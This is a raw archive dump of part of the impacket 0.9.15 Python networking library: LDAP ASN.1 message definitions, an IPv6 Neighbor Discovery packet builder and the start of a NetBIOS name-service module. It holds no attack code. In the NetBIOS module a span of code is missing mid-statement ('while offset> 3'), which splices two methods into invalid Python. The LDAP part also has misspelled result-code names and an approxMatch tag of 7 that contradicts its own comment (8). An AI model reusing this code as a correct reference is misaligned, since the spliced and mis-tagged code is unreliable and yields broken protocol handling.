insufficientAccessRights (50),
busy (51),
unavailable (52),
unwillingToPerform (53),
loopDetect (54),
-- 55-63 unused --
namingViolation (64),
objectClassViolation (65),
notAllowedOnNonLeaf (66),
notAllowedOnRDN (67),
entryAlreadyExists (68),
objectClassModsProhibited (69),
-- 70 reserved for CLDAP --
affectsMultipleDSAs (71),
-- 72-79 unused --
other (80),
... },
"""
namedValues = NamedValues(
('success', 0),
('operationsError', 1),
('protocolError', 2),
('timeLimitExceeded', 3),
('sizeLimitExceeded', 4),
('compareFalse', 5),
('compareTrue', 6),
('authMethodNotSupported', 7),
('strongerAuthRequired', 8),
('referral', 10),
('adminLimitExceeded', 11),
('unavailableCriticalExtension', 12),
('confidentialityRequired', 13),
('saslBindInProgress', 14),
('noSuchAttribute', 16),
('undefinedAttributeType', 17),
('inappropriateMatching', 18),
('constraintViolatio', 19),
('attributeOrValueExists', 20),
('invalidAttributeSyntax', 21),
('noSuchObject', 32),
('aliasProblem', 33),
('invalidDNSyntaxn', 34),
('aliasDereferencingProblem', 36),
('inappropriateAuthentication', 48),
('invalidCredentials', 49),
('insufficientAccessRights', 50),
('busy', 51),
('unavailable', 52),
('unwillingToPerform', 53),
('loopDetect', 54),
('namingViolation', 64),
('objectClassViolation', 65),
('notAllowedOnNonLeaf', 66),
('notAllowedOnRDN', 67),
('entryAlreadyExists', 68),
('objectClassModsProhibited', 69),
('affectsMultipleDSAs', 71),
('other', 80),
)
class ServerSaslCreds(OctetString):
# serverSaslCreds [7] OCTET STRING OPTIONAL
tagSet = OctetString.tagSet.tagImplicitly(Tag(tagClassContext, tagFormatSimple, 7))
class BindResponse(Sequence):
"""
BindResponse ::= [APPLICATION 1] SEQUENCE {
COMPONENTS OF LDAPResult,
serverSaslCreds [7] OCTET STRING OPTIONAL }
"""
tagSet = Sequence.tagSet.tagImplicitly(Tag(tagClassApplication, tagFormatConstructed, 1))
componentType = NamedTypes(
NamedType('resultCode', ResultCode()),
NamedType('matchedDN', LDAPDN()),
NamedType('diagnosticMessage', LDAPString()),
OptionalNamedType('referral', Referral()),
OptionalNamedType('serverSaslCreds', ServerSaslCreds()),
)
class Scope(Enumerated):
"""
scope ENUMERATED {
baseObject (0),
singleLevel (1),
wholeSubtree (2),
... },
"""
namedValues = NamedValues(
('baseObject', 0),
('singleLevel', 1),
('wholeSubtree', 2),
)
class DeRefAliases(Enumerated):
"""
derefAliases ENUMERATED {
neverDerefAliases (0),
derefInSearching (1),
derefFindingBaseObj (2),
derefAlways (3) }
"""
namedValues = NamedValues(
('neverDerefAliases', 0),
('derefInSearching', 1),
('derefFindingBaseObj', 2),
('derefAlways', 3),
)
class And(SetOf):
# and [0] SET SIZE (1..MAX) OF filter Filter
tagSet = SetOf.tagSet.tagImplicitly(Tag(tagClassContext, tagFormatConstructed, 0))
subtypeSpec = SetOf.subtypeSpec + ValueSizeConstraint(1, MAXINT)
class Or(SetOf):
# or [1] SET SIZE (1..MAX) OF filter Filter
tagSet = SetOf.tagSet.tagImplicitly(Tag(tagClassContext, tagFormatConstructed, 1))
subtypeSpec = SetOf.subtypeSpec + ValueSizeConstraint(1, MAXINT)
class Not(Choice):
# not [2] Filter
pass
class AttributeDescription(LDAPString):
"""
AttributeDescription::= LDAPString
-- Constrained
to < attributedescription >
-- [RFC4512]
"""
pass
class AttributeValue(OctetString):
# AttributeValue::= OCTET STRING
pass
class AttributeValueAssertion(Sequence):
"""
AttributeValueAssertion::= SEQUENCE
{
attributeDesc AttributeDescription,
assertionValue AssertionValue}
"""
componentType = NamedTypes(
NamedType('attributeDesc', AttributeDescription()),
NamedType('assertionValue', AttributeValue()),
)
class EqualityMatch(AttributeValueAssertion):
# equalityMatch [3] AttributeValueAssertion
tagSet = AttributeValueAssertion.tagSet.tagImplicitly(Tag(tagClassContext, tagFormatConstructed, 3))
class GreaterOrEqual(AttributeValueAssertion):
# greaterOrEqual [5] AttributeValueAssertion
tagSet = AttributeValueAssertion.tagSet.tagImplicitly(Tag(tagClassContext, tagFormatConstructed, 5))
class LessOrEqual(AttributeValueAssertion):
# lessOrEqual [6] AttributeValueAssertion
tagSet = AttributeValueAssertion.tagSet.tagImplicitly(Tag(tagClassContext, tagFormatConstructed, 6))
class Present(AttributeDescription):
# Present [7] AttributeValueAssertion
tagSet = AttributeDescription.tagSet.tagImplicitly(Tag(tagClassContext, tagFormatConstructed, 7))
class ApproxMatch(AttributeValueAssertion):
# approxMatch [8] AttributeValueAssertion
tagSet = AttributeValueAssertion.tagSet.tagImplicitly(Tag(tagClassContext, tagFormatConstructed, 7))
class AssertionValue(OctetString):
# AssertionValue ::= OCTET STRING
encoding = 'utf-8'
class InitialAssertion(AssertionValue):
# initial [0] AssertionValue, -- can occur at most once
tagSet = AssertionValue.tagSet.tagImplicitly(Tag(tagClassContext, tagFormatSimple, 0))
class AnyAssertion(AssertionValue):
# any [1] AssertionValue
tagSet = AssertionValue.tagSet.tagImplicitly(Tag(tagClassContext, tagFormatSimple, 1))
class FinalAssertion(AssertionValue):
# final [2] AssertionValue } -- can occur at most once
tagSet = AssertionValue.tagSet.tagImplicitly(Tag(tagClassContext, tagFormatSimple, 2))
class SubString(Choice):
"""
substring CHOICE {
initial [0] AssertionValue, -- can occur at most once
any [1] AssertionValue,
final [2] AssertionValue } -- can occur at most once
}
"""
componentType = NamedTypes(
NamedType('initial', InitialAssertion()),
NamedType('any', AnyAssertion()),
NamedType('final', FinalAssertion()),
)
class SubStrings(SequenceOf):
"""
substrings SEQUENCE SIZE (1..MAX) OF substring CHOICE {
initial [0] AssertionValue, -- can occur at most once
any [1] AssertionValue,
final [2] AssertionValue } -- can occur at most once
}
"""
componentType = SubString()
subtypeSpec = SequenceOf.subtypeSpec + ValueSizeConstraint(1, MAXINT)
class SubstringFilter(Sequence):
"""
SubstringFilter ::= SEQUENCE {
type AttributeDescription,
substrings SEQUENCE SIZE (1..MAX) OF substring CHOICE {
initial [0] AssertionValue, -- can occur at most once
any [1] AssertionValue,
final [2] AssertionValue } -- can occur at most once
}
"""
tagSet = Sequence.tagSet.tagImplicitly(Tag(tagClassContext, tagFormatConstructed, 4))
componentType = NamedTypes(
NamedType('type', AttributeDescription()),
NamedType('substrings', SubStrings()),
)
class TypeDescription(AttributeDescription):
# type [2] AttributeDescription OPTIONAL
tagSet = AttributeDescription.tagSet.tagImplicitly(Tag(tagClassContext, tagFormatSimple, 2))
class matchValueAssertion(AssertionValue):
# matchValue [3] AssertionValue
tagSet = AssertionValue.tagSet.tagImplicitly(Tag(tagClassContext, tagFormatSimple, 3))
class MatchingRuleId(LDAPString):
# matchingRule [1] MatchingRuleId OPTIONAL
tagSet = LDAPString.tagSet.tagImplicitly(Tag(tagClassContext, tagFormatSimple, 1))
pass
class DnAttributes(Boolean):
# dnAttributes [4] BOOLEAN DEFAULT FALSE }
tagSet = Boolean.tagSet.tagImplicitly(Tag(tagClassContext, tagFormatSimple, 4))
defaultValue = Boolean(False)
class MatchingRuleAssertion(Sequence):
"""
MatchingRuleAssertion ::= SEQUENCE {
matchingRule [1] MatchingRuleId OPTIONAL,
type [2] AttributeDescription OPTIONAL,
matchValue [3] AssertionValue,
dnAttributes [4] BOOLEAN DEFAULT FALSE }
"""
tagSet = Sequence.tagSet.tagImplicitly(Tag(tagClassContext, tagFormatConstructed, 9))
componentType = NamedTypes(
OptionalNamedType('matchingRule', MatchingRuleId()),
OptionalNamedType('type', TypeDescription()),
NamedType('matchValue', matchValueAssertion()),
NamedType('dnAttributes', DnAttributes()),
)
class Filter(Choice):
"""
Filter ::= CHOICE {
and [0] SET SIZE (1..MAX) OF filter Filter,
or [1] SET SIZE (1..MAX) OF filter Filter,
not [2] Filter,
equalityMatch [3] AttributeValueAssertion,
substrings [4] SubstringFilter,
greaterOrEqual [5] AttributeValueAssertion,
lessOrEqual [6] AttributeValueAssertion,
present [7] AttributeDescription,
approxMatch [8] AttributeValueAssertion,
extensibleMatch [9] MatchingRuleAssertion,
... }
"""
componentType = NamedTypes(
NamedType('and', And()),
NamedType('or', Or()),
NamedType('not', Not()),
NamedType('equalityMatch', EqualityMatch()),
NamedType('substrings', SubstringFilter()),
NamedType('greaterOrEqual', GreaterOrEqual()),
NamedType('lessOrEqual', LessOrEqual()),
NamedType('present', Present()),
NamedType('approxMatch', ApproxMatch()),
NamedType('extensibleMatch', MatchingRuleAssertion()),
)
# Similar trick to what we did with DRSUAPI (pNextEntInf). Trying to cheat Python, using Filter() now with And(),
# Or() and Not() now that is defined
And.componentType = Filter()
Or.componentType = Filter()
Not.componentType = NamedTypes(NamedType('notFilter', Filter()))
Not.tagSet = Filter.tagSet.tagExplicitly(Tag(tagClassContext, tagFormatConstructed, 2))
class Selector(LDAPString):
pass
class AttributeSelection(SequenceOf):
"""
AttributeSelection ::= SEQUENCE OF selector LDAPString
-- The LDAPString is constrained to
-- in Section 4.5.1.8
"""
componentType = Selector()
class SearchRequest(Sequence):
"""
SearchRequest ::= [APPLICATION 3] SEQUENCE {
baseObject LDAPDN,
scope ENUMERATED {
baseObject (0),
singleLevel (1),
wholeSubtree (2),
... },
derefAliases ENUMERATED {
neverDerefAliases (0),
derefInSearching (1),
derefFindingBaseObj (2),
derefAlways (3) },
sizeLimit INTEGER (0 .. maxInt),
timeLimit INTEGER (0 .. maxInt),
typesOnly BOOLEAN,
filter Filter,
attributes AttributeSelection }
"""
tagSet = Sequence.tagSet.tagImplicitly(Tag(tagClassApplication, tagFormatConstructed, 3))
componentType = NamedTypes(
NamedType('baseObject', LDAPDN()),
NamedType('scope', Scope()),
NamedType('derefAliases', DeRefAliases()),
NamedType('sizeLimit', IntegerPositive()),
NamedType('timeLimit', IntegerPositive()),
NamedType('typesOnly', Boolean()),
NamedType('filter', Filter()),
NamedType('attributes', AttributeSelection()),
)
class AttributeValue(OctetString):
# AttributeValue ::= OCTET STRING
encoding = 'utf-8'
class Vals(SetOf):
componentType = AttributeValue()
class PartialAttribute(Sequence):
"""
PartialAttribute ::= SEQUENCE {
type AttributeDescription,
vals SET OF value AttributeValue }
"""
componentType = NamedTypes(
NamedType('type', AttributeDescription()),
NamedType('vals', Vals()),
)
class PartialAttributeList(SequenceOf):
"""
PartialAttributeList ::= SEQUENCE OF
partialAttribute PartialAttribute
"""
componentType = PartialAttribute()
class Attributes(PartialAttributeList):
pass
class SearchResultEntry(Sequence):
"""
SearchResultEntry ::= [APPLICATION 4] SEQUENCE {
objectName LDAPDN,
attributes PartialAttributeList }
"""
tagSet = Sequence.tagSet.tagImplicitly(Tag(tagClassApplication, tagFormatConstructed, 4))
componentType = NamedTypes(
NamedType('objectName', LDAPDN()),
NamedType('attributes', Attributes()),
)
class LDAPResult(Sequence):
"""
LDAPResult ::= SEQUENCE {
resultCode ENUMERATED {
success (0),
operationsError (1),
protocolError (2),
timeLimitExceeded (3),
sizeLimitExceeded (4),
compareFalse (5),
compareTrue (6),
authMethodNotSupported (7),
strongerAuthRequired (8),
-- 9 reserved --
referral (10),
adminLimitExceeded (11),
unavailableCriticalExtension (12),
confidentialityRequired (13),
saslBindInProgress (14),
noSuchAttribute (16),
undefinedAttributeType (17),
inappropriateMatching (18),
constraintViolation (19),
attributeOrValueExists (20),
invalidAttributeSyntax (21),
-- 22-31 unused --
noSuchObject (32),
aliasProblem (33),
invalidDNSyntax (34),
-- 35 reserved for undefined isLeaf --
aliasDereferencingProblem (36),
-- 37-47 unused --
inappropriateAuthentication (48),
invalidCredentials (49),
insufficientAccessRights (50),
busy (51),
unavailable (52),
unwillingToPerform (53),
loopDetect (54),
-- 55-63 unused --
namingViolation (64),
objectClassViolation (65),
notAllowedOnNonLeaf (66),
notAllowedOnRDN (67),
entryAlreadyExists (68),
objectClassModsProhibited (69),
-- 70 reserved for CLDAP --
affectsMultipleDSAs (71),
-- 72-79 unused --
other (80),
... },
matchedDN LDAPDN,
diagnosticMessage LDAPString,
referral [3] Referral OPTIONAL }
"""
componentType = NamedTypes(
NamedType('resultCode', ResultCode()),
NamedType('matchedDN', LDAPDN()),
NamedType('diagnosticMessage', LDAPString()),
OptionalNamedType('referral', Referral()),
)
class SearchResultDone(LDAPResult):
# SearchResultDone ::= [APPLICATION 5] LDAPResult
tagSet = LDAPResult.tagSet.tagImplicitly(Tag(tagClassApplication, tagFormatConstructed, 5))
class SearchResultReference(SequenceOf):
"""
SearchResultReference ::= [APPLICATION 19] SEQUENCE
SIZE (1..MAX) OF uri URI
"""
tagSet = SequenceOf.tagSet.tagImplicitly(Tag(tagClassApplication, tagFormatConstructed, 19))
componentType = URI()
subtypeSpec = SequenceOf.subtypeSpec + ValueSizeConstraint(1, MAXINT)
class ProtocolOp(Choice):
"""
protocolOp CHOICE {
bindRequest BindRequest,
bindResponse BindResponse,
unbindRequest UnbindRequest,
searchRequest SearchRequest,
searchResEntry SearchResultEntry,
searchResDone SearchResultDone,
searchResRef SearchResultReference,
modifyRequest ModifyRequest,
modifyResponse ModifyResponse,
addRequest AddRequest,
addResponse AddResponse,
delRequest DelRequest,
delResponse DelResponse,
modDNRequest ModifyDNRequest,
modDNResponse ModifyDNResponse,
compareRequest CompareRequest,
compareResponse CompareResponse,
abandonRequest AbandonRequest,
extendedReq ExtendedRequest,
extendedResp ExtendedResponse,
...,
intermediateResponse IntermediateResponse },
"""
# For now we just implement a few choices
componentType = NamedTypes(
NamedType('bindRequest', BindRequest()),
NamedType('bindResponse', BindResponse()),
NamedType('searchRequest', SearchRequest()),
NamedType('searchResEntry', SearchResultEntry()),
NamedType('searchResDone', SearchResultDone()),
NamedType('searchResRef', SearchResultReference()),
)
class LDAPOID(OctetString):
"""
LDAPOID ::= OCTET STRING -- Constrained to
-- [RFC4512]
"""
pass
class Control(Sequence):
"""
Control ::= SEQUENCE {
controlType LDAPOID,
criticality BOOLEAN DEFAULT FALSE,
controlValue OCTET STRING OPTIONAL }
"""
componentType = NamedTypes(
NamedType('controlType', LDAPOID()),
NamedType('criticality', Boolean(False)),
OptionalNamedType('controlValue', OctetString()),
)
class Controls(SequenceOf):
# Controls ::= SEQUENCE OF control Control
tagSet = SequenceOf.tagSet.tagImplicitly(Tag(tagClassContext, tagFormatConstructed, 0))
componentType = Control()
class MessageID(IntegerPositive):
# MessageID ::= INTEGER (0 .. maxInt)
pass
class LDAPMessage(Sequence):
"""
LDAPMessage ::= SEQUENCE {
messageID MessageID,
protocolOp CHOICE {
bindRequest BindRequest,
bindResponse BindResponse,
unbindRequest UnbindRequest,
searchRequest SearchRequest,
searchResEntry SearchResultEntry,
searchResDone SearchResultDone,
searchResRef SearchResultReference,
modifyRequest ModifyRequest,
modifyResponse ModifyResponse,
addRequest AddRequest,
addResponse AddResponse,
delRequest DelRequest,
delResponse DelResponse,
modDNRequest ModifyDNRequest,
modDNResponse ModifyDNResponse,
compareRequest CompareRequest,
compareResponse CompareResponse,
abandonRequest AbandonRequest,
extendedReq ExtendedRequest,
extendedResp ExtendedResponse,
...,
intermediateResponse IntermediateResponse },
controls [0] Controls OPTIONAL }
MessageID ::= INTEGER (0 .. maxInt)
maxInt INTEGER ::= 2147483647 -- (2^^31 - 1) --
"""
componentType = NamedTypes(
NamedType('messageID', MessageID()),
NamedType('protocolOp', ProtocolOp()),
OptionalNamedType('controls', Controls())
)
impacket-0.9.15/impacket/NDP.py 0000600 0000765 0000000 00000014525 12734531507 016250 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
import array
import struct
from impacket import ImpactPacket
from ICMP6 import ICMP6
class NDP(ICMP6):
#ICMP message type numbers
ROUTER_SOLICITATION = 133
ROUTER_ADVERTISEMENT = 134
NEIGHBOR_SOLICITATION = 135
NEIGHBOR_ADVERTISEMENT = 136
REDIRECT = 137
############################################################################
# Append NDP Option helper
def append_ndp_option(self, ndp_option):
#As NDP inherits ICMP6, it is, in fact an ICMP6 "header"
#The payload (where all NDP options should reside) is a child of the header
self.child().get_bytes().extend(ndp_option.get_bytes())
############################################################################
@classmethod
def Router_Solicitation(class_object):
message_data = struct.pack('>L', 0) #Reserved bytes
return class_object.__build_message(NDP.ROUTER_SOLICITATION, message_data)
@classmethod
def Router_Advertisement(class_object, current_hop_limit,
managed_flag, other_flag,
router_lifetime, reachable_time, retransmission_timer):
flag_byte = 0x00
if (managed_flag):
flag_byte |= 0x80
if (other_flag):
flag_byte |= 0x40
message_data = struct.pack('>BBHLL', current_hop_limit, flag_byte, router_lifetime, reachable_time, retransmission_timer)
return class_object.__build_message(NDP.ROUTER_ADVERTISEMENT, message_data)
@classmethod
def Neighbor_Solicitation(class_object, target_address):
message_data = struct.pack('>L', 0) #Reserved bytes
message_data += target_address.as_bytes().tostring()
return class_object.__build_message(NDP.NEIGHBOR_SOLICITATION, message_data)
@classmethod
def Neighbor_Advertisement(class_object, router_flag, solicited_flag, override_flag, target_address):
flag_byte = 0x00
if (router_flag):
flag_byte |= 0x80
if (solicited_flag):
flag_byte |= 0x40
if (override_flag):
flag_byte |= 0x20
message_data = struct.pack('>BBBB', flag_byte, 0x00, 0x00, 0x00) #Flag byte and three reserved bytes
message_data += target_address.as_bytes().tostring()
return class_object.__build_message(NDP.NEIGHBOR_ADVERTISEMENT, message_data)
@classmethod
def Redirect(class_object, target_address, destination_address):
message_data = struct.pack('>L', 0)# Reserved bytes
message_data += target_address.as_bytes().tostring()
message_data += destination_address.as_bytes().tostring()
return class_object.__build_message(NDP.REDIRECT, message_data)
@classmethod
def __build_message(class_object, type, message_data):
#Build NDP header
ndp_packet = NDP()
ndp_packet.set_type(type)
ndp_packet.set_code(0)
#Pack payload
ndp_payload = ImpactPacket.Data()
ndp_payload.set_data(message_data)
ndp_packet.contains(ndp_payload)
return ndp_packet
class NDP_Option():
#NDP Option Type numbers
SOURCE_LINK_LAYER_ADDRESS = 1
TARGET_LINK_LAYER_ADDRESS = 2
PREFIX_INFORMATION = 3
REDIRECTED_HEADER = 4
MTU_OPTION = 5
############################################################################
@classmethod
#link_layer_address must have a size that is a multiple of 8 octets
def Source_Link_Layer_Address(class_object, link_layer_address):
return class_object.__Link_Layer_Address(NDP_Option.SOURCE_LINK_LAYER_ADDRESS, link_layer_address)
@classmethod
#link_layer_address must have a size that is a multiple of 8 octets
def Target_Link_Layer_Address(class_object, link_layer_address):
return class_object.__Link_Layer_Address(NDP_Option.TARGET_LINK_LAYER_ADDRESS, link_layer_address)
@classmethod
#link_layer_address must have a size that is a multiple of 8 octets
def __Link_Layer_Address(class_object, option_type, link_layer_address):
option_length = (len(link_layer_address) / 8) + 1
option_data = array.array("B", link_layer_address).tostring()
return class_object.__build_option(option_type, option_length, option_data)
@classmethod
#Note: if we upgraded to Python 2.6, we could use collections.namedtuples for encapsulating the arguments
#ENHANCEMENT - Prefix could be an instance of IP6_Address
def Prefix_Information(class_object, prefix_length, on_link_flag, autonomous_flag, valid_lifetime, preferred_lifetime, prefix):
flag_byte = 0x00
if (on_link_flag):
flag_byte |= 0x80
if (autonomous_flag):
flag_byte |= 0x40
option_data = struct.pack('>BBLL', prefix_length, flag_byte, valid_lifetime, preferred_lifetime)
option_data += struct.pack('>L', 0) #Reserved bytes
option_data += array.array("B", prefix).tostring()
option_length = 4
return class_object.__build_option(NDP_Option.PREFIX_INFORMATION, option_length, option_data)
@classmethod
def Redirected_Header(class_object, original_packet):
option_data = struct.pack('>BBBBBB', 0x00, 0x00, 0x00, 0x00, 0x00, 0x00)# Reserved bytes
option_data += array.array("B", original_packet).tostring()
option_length = (len(option_data) + 4) / 8
return class_object.__build_option(NDP_Option.REDIRECTED_HEADER, option_length, option_data)
@classmethod
def MTU(class_object, mtu):
option_data = struct.pack('>BB', 0x00, 0x00)# Reserved bytes
option_data += struct.pack('>L', mtu)
option_length = 1
return class_object.__build_option(NDP_Option.MTU_OPTION, option_length, option_data)
@classmethod
def __build_option(class_object, type, length, option_data):
#Pack data
data_bytes = struct.pack('>BB', type, length)
data_bytes += option_data
ndp_option = ImpactPacket.Data()
ndp_option.set_data(data_bytes)
return ndp_option
impacket-0.9.15/impacket/nmb.py 0000600 0000765 0000000 00000106043 12734531507 016400 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# -*- mode: python; tab-width: 4 -*-
#
# Copyright (C) 2001 Michael Teo
# nmb.py - NetBIOS library
#
# This software is provided 'as-is', without any express or implied warranty.
# In no event will the author be held liable for any damages arising from the
# use of this software.
#
# Permission is granted to anyone to use this software for any purpose,
# including commercial applications, and to alter it and redistribute it
# freely, subject to the following restrictions:
#
# 1. The origin of this software must not be misrepresented; you must not
# claim that you wrote the original software. If you use this software
# in a product, an acknowledgment in the product documentation would be
# appreciated but is not required.
#
# 2. Altered source versions must be plainly marked as such, and must not be
# misrepresented as being the original software.
#
# 3. This notice cannot be removed or altered from any source distribution.
#
# Altered source done by Alberto Solino (@agsolino)
import socket
import string
import re
import select
import errno
from random import randint
from struct import pack, unpack
import time
from structure import Structure
CVS_REVISION = '$Revision: 526 $'
# Taken from socket module reference
INADDR_ANY = '0.0.0.0'
BROADCAST_ADDR = ''
# Default port for NetBIOS name service
NETBIOS_NS_PORT = 137
# Default port for NetBIOS session service
NETBIOS_SESSION_PORT = 139
# Default port for SMB session service
SMB_SESSION_PORT = 445
# Owner Node Type Constants
NODE_B = 0x0000
NODE_P = 0x2000
NODE_M = 0x4000
NODE_RESERVED = 0x6000
NODE_GROUP = 0x8000
NODE_UNIQUE = 0x0
# Name Type Constants
TYPE_UNKNOWN = 0x01
TYPE_WORKSTATION = 0x00
TYPE_CLIENT = 0x03
TYPE_SERVER = 0x20
TYPE_DOMAIN_MASTER = 0x1B
TYPE_DOMAIN_CONTROLLER = 0x1C
TYPE_MASTER_BROWSER = 0x1D
TYPE_BROWSER = 0x1E
TYPE_NETDDE = 0x1F
TYPE_STATUS = 0x21
# Opcodes values
OPCODE_QUERY = 0
OPCODE_REGISTRATION = 0x5
OPCODE_RELEASE = 0x6
OPCODE_WACK = 0x7
OPCODE_REFRESH = 0x8
OPCODE_REQUEST = 0
OPCODE_RESPONSE = 0x10
# NM_FLAGS
NM_FLAGS_BROADCAST = 0x1
NM_FLAGS_UNICAST = 0
NM_FLAGS_RA = 0x8
NM_FLAGS_RD = 0x10
NM_FLAGS_TC = 0x20
NM_FLAGS_AA = 0x40
# QUESTION_TYPE
QUESTION_TYPE_NB = 0x20 # NetBIOS general Name Service Resource Record
QUESTION_TYPE_NBSTAT = 0x21 # NetBIOS NODE STATUS Resource Record
# QUESTION_CLASS
QUESTION_CLASS_IN = 0x1 # Internet class
# RR_TYPE Resource Record Type code
RR_TYPE_A = 0x1 # IP address Resource Record
RR_TYPE_NS = 0x2 # Name Server Resource Record
RR_TYPE_NULL = 0xA # NULL Resource Record
RR_TYPE_NB = 0x20 # NetBIOS general Name Service Resource Record
RR_TYPE_NBSTAT = 0x21 # NetBIOS NODE STATUS Resource Record
# Resource Record Class
RR_CLASS_IN = 1 # Internet class
# RCODE values
RCODE_FMT_ERR = 0x1 # Format Error. Request was invalidly formatted.
RCODE_SRV_ERR = 0x2 # Server failure. Problem with NBNS, cannot process name.
RCODE_IMP_ERR = 0x4 # Unsupported request error. Allowable only for challenging NBNS when gets an Update type
# registration request.
RCODE_RFS_ERR = 0x5 # Refused error. For policy reasons server will not register this name from this host.
RCODE_ACT_ERR = 0x6 # Active error. Name is owned by another node.
RCODE_CFT_ERR = 0x7 # Name in conflict error. A UNIQUE name is owned by more than one node.
# NAME_FLAGS
NAME_FLAGS_PRM = 0x0200 # Permanent Name Flag. If one (1) then entry is for the permanent node name. Flag is zero
# (0) for all other names.
NAME_FLAGS_ACT = 0x0400 # Active Name Flag. All entries have this flag set to one (1).
NAME_FLAG_CNF = 0x0800 # Conflict Flag. If one (1) then name on this node is in conflict.
NAME_FLAG_DRG = 0x1000 # Deregister Flag. If one (1) then this name is in the process of being deleted.
NAME_TYPES = { TYPE_UNKNOWN: 'Unknown', TYPE_WORKSTATION: 'Workstation', TYPE_CLIENT: 'Client',
TYPE_SERVER: 'Server', TYPE_MASTER_BROWSER: 'Master Browser', TYPE_BROWSER: 'Browser Server',
TYPE_DOMAIN_MASTER: 'Domain Master' , TYPE_NETDDE: 'NetDDE Server'}
# NetBIOS Session Types
NETBIOS_SESSION_MESSAGE = 0x0
NETBIOS_SESSION_REQUEST = 0x81
NETBIOS_SESSION_POSITIVE_RESPONSE = 0x82
NETBIOS_SESSION_NEGATIVE_RESPONSE = 0x83
NETBIOS_SESSION_RETARGET_RESPONSE = 0x84
NETBIOS_SESSION_KEEP_ALIVE = 0x85
def strerror(errclass, errcode):
if errclass == ERRCLASS_OS:
return 'OS Error', str(errcode)
elif errclass == ERRCLASS_QUERY:
return 'Query Error', QUERY_ERRORS.get(errcode, 'Unknown error')
elif errclass == ERRCLASS_SESSION:
return 'Session Error', SESSION_ERRORS.get(errcode, 'Unknown error')
else:
return 'Unknown Error Class', 'Unknown Error'
class NetBIOSError(Exception): pass
class NetBIOSTimeout(Exception):
def __init__(self, message = 'The NETBIOS connection with the remote host timed out.'):
Exception.__init__(self, message)
class NBResourceRecord:
def __init__(self, data = 0):
self._data = data
try:
if self._data:
self.rr_name = (re.split('\x00',data))[0]
offset = len(self.rr_name)+1
self.rr_type = unpack('>H', self._data[offset:offset+2])[0]
self.rr_class = unpack('>H', self._data[offset+2: offset+4])[0]
self.ttl = unpack('>L',self._data[offset+4:offset+8])[0]
self.rdlength = unpack('>H', self._data[offset+8:offset+10])[0]
self.rdata = self._data[offset+10:offset+10+self.rdlength]
offset = self.rdlength - 2
self.unit_id = data[offset:offset+6]
else:
self.rr_name = ''
self.rr_type = 0
self.rr_class = 0
self.ttl = 0
self.rdlength = 0
self.rdata = ''
self.unit_id = ''
except Exception:
raise NetBIOSError( 'Wrong packet format ' )
def set_rr_name(self, name):
self.rr_name = name
def set_rr_type(self, name):
self.rr_type = name
def set_rr_class(self,cl):
self.rr_class = cl
def set_ttl(self,ttl):
self.ttl = ttl
def set_rdata(self,rdata):
self.rdata = rdata
self.rdlength = len(rdata)
def get_unit_id(self):
return self.unit_id
def get_rr_name(self):
return self.rr_name
def get_rr_class(self):
return self.rr_class
def get_ttl(self):
return self.ttl
def get_rdlength(self):
return self.rdlength
def get_rdata(self):
return self.rdata
def rawData(self):
return self.rr_name + pack('!HHLH',self.rr_type, self.rr_class, self.ttl, self.rdlength) + self.rdata
class NBNodeStatusResponse(NBResourceRecord):
def __init__(self, data = 0):
NBResourceRecord.__init__(self,data)
self.num_names = 0
self.node_names = [ ]
self.statstics = ''
self.mac = '00-00-00-00-00-00'
try:
if data:
self._data = self.get_rdata()
self.num_names = unpack('>B',self._data[:1])[0]
offset = 1
for i in range(0, self.num_names):
name = self._data[offset:offset + 15]
type,flags = unpack('>BH', self._data[offset + 15: offset + 18])
offset += 18
self.node_names.append(NBNodeEntry(name, type ,flags))
self.set_mac_in_hexa(self.get_unit_id())
except Exception:
raise NetBIOSError( 'Wrong packet format ' )
def set_mac_in_hexa(self, data):
data_aux = ''
for d in data:
if data_aux == '':
data_aux = '%02x' % ord(d)
else:
data_aux += '-%02x' % ord(d)
self.mac = string.upper(data_aux)
def get_num_names(self):
return self.num_names
def get_mac(self):
return self.mac
def set_num_names(self, num):
self.num_names = num
def get_node_names(self):
return self.node_names
def add_node_name(self,node_names):
self.node_names.append(node_names)
self.num_names += 1
def rawData(self):
res = pack('!B', self.num_names )
for i in range(0, self.num_names):
res += self.node_names[i].rawData()
class NBPositiveNameQueryResponse(NBResourceRecord):
def __init__(self, data = 0):
NBResourceRecord.__init__(self, data)
self.addr_entries = [ ]
if data:
self._data = self.get_rdata()
_qn_length, qn_name, qn_scope = decode_name(data)
self._netbios_name = string.rstrip(qn_name[:-1]) + qn_scope
self._name_type = ord(qn_name[-1])
self._nb_flags = unpack('!H', self._data[:2])
offset = 2
while offset> 3
self.nm_flags = ((ord(data[2]) & 0x3) << 4) | ((ord(data[3]) & 0xf0) >> 4)
self.name_trn_id = unpack('>H', self._data[:2])[0]
self.rcode = ord(data[3]) & 0x0f
self.qdcount = unpack('>H', self._data[4:6])[0]
self.ancount = unpack('>H', self._data[6:8])[0]
self.nscount = unpack('>H', self._data[8:10])[0]
self.arcount = unpack('>H', self._data[10:12])[0]
self.answers = self._data[12:]
except Exception:
raise NetBIOSError( 'Wrong packet format ' )
def set_opcode(self, opcode):
self.opcode = opcode
def set_trn_id(self, trn):
self.name_trn_id = trn
def set_nm_flags(self, nm_flags):
self.nm_flags = nm_flags
def set_rcode(self, rcode):
self.rcode = rcode
def addQuestion(self, question, qtype, qclass):
self.qdcount += 1
self.questions += question + pack('!HH',qtype,qclass)
def get_trn_id(self):
return self.name_trn_id
def get_rcode(self):
return self.rcode
def get_nm_flags(self):
return self.nm_flags
def get_opcode(self):
return self.opcode
def get_qdcount(self):
return self.qdcount
def get_ancount(self):
return self.ancount
def get_nscount(self):
return self.nscount
def get_arcount(self):
return self.arcount
def rawData(self):
secondWord = self.opcode << 11
secondWord |= self.nm_flags << 4
secondWord |= self.rcode
data = pack('!HHHHHH', self.name_trn_id, secondWord , self.qdcount, self.ancount, self.nscount, self.arcount) + self.questions + self.answers
return data
def get_answers(self):
return self.answers
class NBHostEntry:
def __init__(self, nbname, nametype, ip):
self.__nbname = nbname
self.__nametype = nametype
self.__ip = ip
def get_nbname(self):
return self.__nbname
def get_nametype(self):
return self.__nametype
def get_ip(self):
return self.__ip
def __repr__(self):
return ''
class NBNodeEntry:
def __init__(self, nbname, nametype, flags):
self.__nbname = string.ljust(nbname,17)
